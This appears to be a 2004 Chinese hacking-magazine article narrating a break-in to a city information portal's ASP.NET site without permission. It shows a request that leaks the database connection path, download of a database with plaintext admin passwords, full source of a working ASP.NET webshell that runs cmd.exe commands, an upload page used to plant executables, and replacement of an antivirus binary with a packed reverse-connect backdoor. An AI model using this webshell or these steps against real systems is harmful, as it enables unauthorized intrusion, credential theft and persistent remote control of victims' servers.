原作者: 飞天战斗猪
暑假在家玩得都有些傻了,吃吃睡睡看看欧洲亚洲杯,拿秤称了一下,哇,胖了8斤,我不要象黑防的某位大编啊(脚本小子:我什么都没看见,一点都没看到……)。好吧,编编程,锻炼锻炼。看一会Asp.net代码,上市信息港看看新闻(脚本小子:哇,不是这样三心二意吧!),不要急嘛,我们市里的信息港可是Asp.net做的哦,可以学习一下。
扫描一下,开了81和21,FTPp用的不是Serv-U,没什么可利用的,再看看81端口吧:
HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 18 Jul 2004 03:32:24 GMT
Connection: close
Content-Length: 35
估计对方用的是Windows Server 2003或者是Windows XP,个人经验,并不一定准。看看页面做得挺漂亮,有一个小型论坛和一个新闻系统。现在有两个思路,一个是SQL注入,还有一个是找其它漏洞(脚本小子:你不是学习吗?怎么要入侵?),我现在“实习”好不好,呵呵。
在浏览器里试一下看看提交
http://www.xxxxx.org/news/list.aspx?cid=8 and 1=1有什么反映,返回:
“/”应用程序中的服务器错误。
--------------------------------------------------------------------------------
输入字符串的格式不正确。
说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.FormatException: 输入字符串的格式不正确。
源错误:
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
又找了几个页面,都不行。试试暴库吧!6期黑防上介绍过基于ASP.net的这个技术,如果服务器没有屏蔽返回信息的话,暴库成功率是比较高的,刚才在前面看到了,对方没有屏蔽返回信息。这里我用的是Darkness用VB写的暴库工具,填上信息就直接获得了如下的返回值:
<font face="宋体" size=2>/data/con32.asax</font>
TIPS:如何手工实现ASP.net暴库?
在没有工具的时候可以手工递交:
GET /nosecure.asp HTTP/1.0
Host: hostname
Cookie: =
效果是一样的。Microsoft ASP.NET 1.1和之前的版本都受此影响。
哈哈,好了,“/data/con32.asax”就是数据库连接文件了,直接在IE上访问一下路径:
Microsoft Jet Database Engine 错误 '80004005'
'E:\MoZone\china\data\sssafad.mdb'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/data/con32.asax,行9
赶紧下载打开,密码居然是明文的,哈哈,点击管理入口进后台,选择上传类型,限制了EXE,算了,等下再说,加个ASP类型,上传ASP木马!
一切都是那么顺理成章,或许很多朋友都觉得入侵就该结束了,可惜暗含的杀机却在后面:ASP页面没有显示出来,这台主机根本就没有没有支持ASP,现在知道管理员的厉害了:你有张良计我有过墙梯,你再怎样叼我不支持你还怎么搞?
断网,下线,感觉很可惜。又翻了翻.net的书,脑子突然动一下:我为什么不能做一个ASP.net的木马?不支持ASP还不支持ASP.net吗?
说干就干,测试、翻书!Later Three Days……代码如下:
<%@ Page Language="VB" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="system.IO" %>
'asp.net特有的命名空间
<script runat="server">
private sub zhixin(xp As Object, M As EventArgs)
Dim xian as string
Dim temp as string=server.MapPath(".") & "\" & "temp"
'产生一个临时文件
shell("cmd.exe /c " & cmd.text & " > " & temp,,true,-1)
Dim XIANREAD as new streamreader(temp,encoding.default)
'上面这句产生一个streamreader类
xian=XIANREAD.readtoend
xian=replace(xian,"<","<")
xian=replace(xian,">",">")
result.text="<pre>" & xian & "</pre>"
XIANREAD.close
If File.exists("temp")=1 then
'执行成功后删掉临时文件
File.Delete("temp")
End if
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASPXCMD</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="cmd命令" OnClick="zhixin" />
<p>
<asp:Label ID="result" runat="server" /> </p>
</form>
</body>
</html>
上传到服务器上,然后请求地址(如图1所示):
图1
上面的原理是调用VB.net中的Shell语句直接执行CMD,功能类似于早期的CMD.asp。就这三天时间,我终于得到了WEB权限。想来这三天,真是痛苦,又去秤了一下,居然瘦了好几斤,编程真的会减肥?大力给黑防的某小编推荐哦!
另外再用一个ASP.net的上传页面,上传EXE文件,这个不是我自己做的,感谢作者提供,代码如下:
<%@ Import Namespace="System.IO" %>
<%@ page Language="C#" debug="true" %>
<html>
<head>
<title>上传文件 </title>
<script language="C#" runat="server">
//This method is called when the "upload" button id pressed
public void UploadFile(object sender , EventArgs E)
{
//检查上传文件不为空
if(myFile.PostedFile!=null)
{
string nam = myFile.PostedFile.FileName ;
//取得文件名(抱括路径)里最后一个"."的索引
int i= nam.LastIndexOf(".");
//取得文件扩展名
string newext =nam.Substring(i);
//这里我自动根据日期和文件大小不同为文件命名,确保文件名不重复
DateTime now = DateTime.Now;
string newname=now.DayOfYear.ToString()+myFile.PostedFile.ContentLength.ToString();
myFile.PostedFile.SaveAs(Server.MapPath("\\"+newname+newext));
//得到这个文件的相关属性:文件名,文件类型,文件大小
fname.Text=myFile.PostedFile.FileName;
fenc.Text=myFile.PostedFile.ContentType ;
fsize.Text=myFile.PostedFile.ContentLength.ToString();
}
}
</script>
</head>
<body>
<center>
<h3> 文件上传</h3>
<form id="uploderform" method="post" action="FileUpload.aspx" enctype="multipart/form-data" runat="server" >
<table border="1" cellspacing="2" cellpadding="2" >
<tr> <td><h5>选择要上传的文件:</h5></td</tr>
<tr>
<td>
<input type="file" id="myFile" runat="server" NAME="myFile">
</td>
</tr>
<tr><td>
<input type="button" value="上 传" OnServerClick="UploadFile" runat="server" ID="Button1" NAME="Button1">
</td></tr>
</table>
</form>
<br>
<br>
<table border="1" cellspacing="2">
<tr><td><b>文件资料</b></td>
<td> </td>
</tr>
<tr>
<td>文件名 :</td>
<td><asp:label id="fname" text="" runat="server" /></td></tr>
<tr>
<td>文件类型 :</td>
<td><asp:label id="fenc" runat="server" /></td></tr>
<tr>
<td>文件大小 :(in bytes)</td>
<td><asp:label id="fsize" runat="server" /></td></tr>
</table>
<br>
<br>
<br>
</center>
</body>
</html>
传上去看看效果,如图2所示:
图2
不管怎么样,要再减掉几斤非得拿到Admin权限不可!我们来试试提升权限,Adsutil.vbs+Asp.dll?呵呵,兄弟们啊,这个机器不支持ASP,不要嫌我罗嗦,我刚开始也是习惯性的要这样弄了,可是搞了半天才反应过来,学入侵一根筋直着是不行的哦,切记切记。况且这个服务器的主人也不是菜鸟,他早就不知把那个VBS丢到哪里去了,这个方法行不通。不过被我发现C盘里有个KV2004:C:\kv2004\KVSrvXP.exe,虔诚的向上帝祈祷希望它不是默认自动执行后,我决定替换它,遇到一点麻烦,不过很快就搞定了,把加壳后的反弹后门传上去,好象人家看不上,也没被杀掉。接下来的时间里,就是苦等了……有一天,我在准备下线的时候听见防火墙在嘀嘀的叫个不停,本来想断开连接了,就随意看了一下,啊!是信息港的地址!兴奋中打开我的木马控制端,眼泪都快流出来,“亲爱的马儿,我来了……”